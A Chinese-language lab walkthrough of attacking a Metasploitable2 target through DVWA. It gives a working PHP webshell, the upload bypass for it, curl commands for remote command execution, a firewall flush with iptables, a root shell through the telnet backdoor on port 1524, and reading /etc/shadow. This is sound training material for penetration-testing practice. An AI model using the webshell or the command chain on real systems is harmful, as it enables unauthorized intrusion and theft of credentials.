一、核心目标
通过 80 端口的 Web 应用(本次为 DVWA)漏洞,获取靶机的 Web 服务权限(www-data),最终通过信息收集利用系统后门拿到root权限,核心链路:Web登录→漏洞利用→留后门(WebShell)→信息收集→提权/后门利用。
二、完整实战流程(含每步细节 + 命令)
阶段 1:前期准备(靶机 + 工具)
| 准备项 | 具体内容 | 注意事项 |
|---|---|---|
| 靶机环境 | Metasploitable2(IP:192.168.1.3),预装 DVWA(Web 应用) | 严禁接入公网,仅本地测试;默认账户:msfadmin/msfadmin、admin/password(DVWA) |
| 攻击机 | Kali Linux(IP:192.168.1.4) | 确保与靶机同网段,开启curl、nc、telnet、ssh工具(默认已预装) |
| 核心工具 | 命令行工具(curl、nc、telnet)+ SSH(系统层面操作) | 新手优先用命令行,避免图形化工具(如蚁剑)的配置坑 |
阶段 2:Web 应用登录(DVWA)
步骤 1:访问 DVWA
- 浏览器访问:
http://192.168.1.3/dvwa - 直接登录:账号
admin、密码password(跳过 Hydra 爆破,新手无需纠结爆破,聚焦漏洞利用) - 关键操作:登录后切换安全级别为
Low(右上角DVWA Security),点击Submit(Low 级别无任何防御,漏洞裸奔)
踩坑 1:忘记切换安全级别,导致文件上传失败
- 报错表现:上传 PHP 文件提示 "不允许的文件类型"
- 原因:Medium/High 级别会过滤 PHP 后缀,Low 级别无过滤
- 绕过:必须切换到 Low 级别,所有 Web 漏洞直接可用
阶段 3:漏洞利用(核心:文件上传漏洞,比 SQL 注入更简单)
步骤 2:创建 WebShell(后门文件)
WebShell 作用:上传到靶机后,通过 HTTP 请求执行系统命令,是长期控制 Web 服务的核心后门。
-
命令(Kali 终端执行): bash
运行
# 创建基础一句话木马(兼容PHP环境) echo '<?php if(isset($_POST["cmd"])){ $output = shell_exec($_POST["cmd"]); echo "<pre>$output</pre>"; } ?>' > /root/shell.php # 赋予读写权限(避免本地文件权限问题) chmod 777 /root/shell.php -
木马核心逻辑:接收 POST 参数
cmd,执行系统命令并返回结果,避免 "空白命令" 警告。
步骤 3:上传 WebShell(绕前端验证)
方案 A:Web 页面直接上传(推荐新手)
- 登录 DVWA 后,左侧菜单点击
File Upload(文件上传模块); - 本地将
shell.php重命名为shell.php.jpg(绕前端 JS 验证,前端仅校验后缀为图片格式); - 点击
Choose File,选择shell.php.jpg,点击Upload; - 上传成功后,页面会显示文件路径:
/dvwa/hackable/uploads/shell.php.jpg(关键!记住此路径); - 核心原理:Low 级别后端不校验文件后缀,
shell.php.jpg会被当作 PHP 文件执行(Apache 解析规则)。
方案 B:curl 命令行上传(绕前端验证,适合无浏览器场景)
-
前提:获取 DVWA 会话 ID(PHPSESSID)
- 浏览器登录 DVWA 后,按 F12→Application→Cookies→复制
PHPSESSID的值(如abc123xyz);
- 浏览器登录 DVWA 后,按 F12→Application→Cookies→复制
-
上传命令(替换
PHPSESSID和文件路径):bash
运行
curl -F "uploaded=@/root/shell.php;filename=shell.php.jpg" -F "Upload=Upload" -b "PHPSESSID=abc123xyz; security=low" http://192.168.1.3/dvwa/vulnerabilities/upload/
踩坑 2:直接上传shell.php被前端拦截
- 报错表现:"Invalid file type"(无效文件类型)
- 原因:前端 JS 验证仅允许图片格式(.jpg/.png 等)
- 绕过:重命名为
shell.php.jpg,后端不校验,仍按 PHP 执行
踩坑 3:curl 上传提示 "Failed to open/read local data"
- 报错表现:
curl: (26) Failed to open/read local data from file/application - 原因:本地
shell.php文件不存在或权限不足 - 绕过:重新创建文件并赋权(执行阶段 2 的
echo和chmod命令)
踩坑 4:上传路径错误,导致 404
- 报错表现:访问
http://192.168.1.3/shell.php提示 404 - 原因:DVWA 的上传目录固定为
/dvwa/hackable/uploads/,而非根目录 - 绕过:必须用完整路径访问,如
http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
阶段 4:验证 WebShell 可用性(执行系统命令)
步骤 4:测试命令执行(Kali 终端)
-
基础测试(验证权限): bash
运行
# 执行whoami,返回www-data即成功(Web服务默认用户) curl -X POST -d "cmd=whoami" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg -
进阶测试(查看靶机信息): bash
运行
# 查看靶机IP(需用完整路径,老旧系统环境变量问题) curl -X POST -d "cmd=/sbin/ifconfig" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg # 查看靶机开放端口(完整路径) curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
踩坑 5:执行ifconfig返回空
- 报错表现:
curl请求后仅返回<pre></pre>,无内容 - 原因:Metasploitable2 是老旧系统(Ubuntu 8.04),
ifconfig在/sbin/目录下,www-data用户的环境变量不含/sbin,直接输ifconfig找不到命令 - 绕过:所有系统命令用完整路径,如
/sbin/ifconfig、/bin/netstat、/bin/ls
踩坑 6:WebShell 提示 "Cannot execute a blank command"
- 报错表现:PHP 警告 "无法执行空白命令"
- 原因:WebShell 代码未判断
cmd参数是否存在,空请求触发警告 - 绕过:使用带判断的代码(阶段 2 的
if(isset($_POST["cmd"]))逻辑),避免裸奔的eval($_POST["cmd"])
阶段 5:信息收集(关键!找提权捷径)
通过 WebShell 执行netstat命令,收集靶机端口信息,发现高危漏洞:
bash
运行
curl -X POST -d "cmd=/bin/netstat -tulpn" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg
- 核心发现:靶机开放
1524端口(Metasploitable2 默认后门端口,直接连接获root权限)
踩坑 7:cat /etc/shadow返回空
- 报错表现:无任何输出
- 原因:
/etc/shadow是敏感文件(存储密码哈希),仅root用户可读取,www-data权限不足 - 绕过:需提权或利用系统后门(如 1524 端口)
阶段 6:提权(利用系统后门,快速拿 root)
步骤 5:连接 1524 后门端口(Kali 终端)
bash
运行
# 用telnet直接连接后门端口,无需密码
telnet 192.168.1.3 1524
- 成功标志:连接后显示
root@metasploitable:/#(直接获得 root 权限)
步骤 6:验证 root 权限
-
读取敏感文件: bash
运行
cat /etc/shadow # 成功返回所有用户密码哈希 ls /root # 查看root目录下的flag文件(渗透测试目标) -
执行高权限操作: bash
运行
passwd www-data # 修改Web用户密码(root专属权限) /sbin/shutdown -h now # 关闭靶机(测试用,谨慎执行)
踩坑 8:telnet 连接 1524 端口失败
- 报错表现:
Trying 192.168.1.3... Connection refused - 原因:靶机防火墙拦截,或后门端口未启动(Metasploitable2 默认开启)
- 绕过:执行
curl -X POST -d "cmd=/sbin/iptables -F" http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg(关闭防火墙),再重新连接
踩坑 9:root 用户执行/etc/shadow提示权限拒绝
- 报错表现:
bash: /etc/shadow: Permission denied - 原因:输入命令时少了
cat,直接执行文件(/etc/shadow是文本文件,不可执行) - 绕过:正确命令是
cat /etc/shadow(读取文件内容)
三、所有踩坑汇总(按出现顺序)
| 序号 | 报错信息 | 核心原因 | 解决方案 |
|---|---|---|---|
| 1 | 文件上传提示 "不允许的文件类型" | 未切换 DVWA 安全级别为 Low | 登录 DVWA→DVWA Security→选择 Low→Submit |
| 2 | curl: (26) Failed to open/read local data | 本地 shell.php 不存在或权限不足 | 重新创建:echo '代码' > /root/shell.php + chmod 777 /root/shell.php |
| 3 | 访问 WebShell 提示 404 | 路径错误,未包含 /dvwa/hackable/uploads/ | 用完整路径:http://192.168.1.3/dvwa/hackable/uploads/shell.php.jpg |
| 4 | 执行 ifconfig 返回空 | 老旧系统命令需完整路径,环境变量不含 /sbin | 用/sbin/ifconfig替代ifconfig,所有系统命令补全路径 |
| 5 | PHP 警告 "Cannot execute a blank command" | WebShell 代码未判断 cmd 参数 | 用带if(isset($_POST["cmd"]))的代码,避免裸奔 eval |
| 6 | cat /etc/shadow 返回空 | www-data 权限不足,无法读取敏感文件 | 利用 1524 后门端口获取 root 权限后再读取 |
| 7 | telnet 连接 1524 提示 Connection refused | 靶机防火墙拦截 | 用 WebShell 执行/sbin/iptables -F关闭防火墙 |
| 8 | root 用户执行 /etc/shadow 提示权限拒绝 | 少输 cat 命令,直接执行文件 | 正确命令:cat /etc/shadow(读取文件而非执行) |
四、关键知识点(新手必记)
1. WebShell 相关
- 核心作用:作为 Web 服务的后门,通过 HTTP 请求执行系统命令,无需 SSH 连接;
- 常用代码:
<?php if(isset($_POST["cmd"])){ shell_exec($_POST["cmd"]); } ?>(稳定无警告); - 后缀绕过:前端拦截时,重命名为
xxx.php.jpg(后端不校验,Apache 按 PHP 解析)。
2. Linux 权限相关
www-data:Web 服务默认低权限用户,仅能操作 Web 目录,无法读取/etc/shadow等敏感文件;root:系统最高权限用户,可执行任何操作(读敏感文件、改密码、关服务);- sudo 重定向坑:
sudo echo 代码 > 文件会报错(重定向不受 sudo 保护),需用sudo cat > 文件 << EOF或sudo nano 文件。
3. 老旧系统(Metasploitable2)特性
- 命令需完整路径:
/sbin/ifconfig、/bin/netstat、/bin/sh(新系统可省略路径); - SSH 兼容问题:Kali 新版禁用
ssh-rsa算法,连接需加参数:ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa msfadmin@192.168.1.3; - 终端兼容问题:SSH 连接后执行
sudo nano提示 "Error opening terminal: xterm-256color",需先执行export TERM=xterm临时修复。
4. 端口与后门
- 80 端口:Web 服务默认端口,漏洞集中(文件上传、SQL 注入、XSS 等);
- 1524 端口:Metasploitable2 默认后门端口,直接 telnet 连接获 root 权限,是渗透测试的 "捷径";
- 其他高危端口:21(FTP)、22(SSH)、3306(MySQL),可后续测试弱密码爆破。
五、简化流程(下次 10 分钟搞定)
- 登录 DVWA(admin/password)→ 切 Low 级别;
- 本地创建 shell.php→重命名为 shell.php.jpg;
- Web 页面上传→复制上传路径;
- curl 测试:
curl -X POST -d "cmd=/sbin/ifconfig" 路径; - netstat 找 1524 端口→telnet 连接获 root;
- cat /etc/shadow 验证权限。
六、注意事项
- 靶机仅用于本地测试,严禁接入公网(存在大量高危漏洞,易被攻击);
- 所有命令需按靶机路径调整(如 DVWA 路径、命令完整路径);
- 保存好 WebShell 路径,后续可直接使用,无需重复上传;
- 渗透测试需获得授权,未经授权测试他人服务器属违法行为。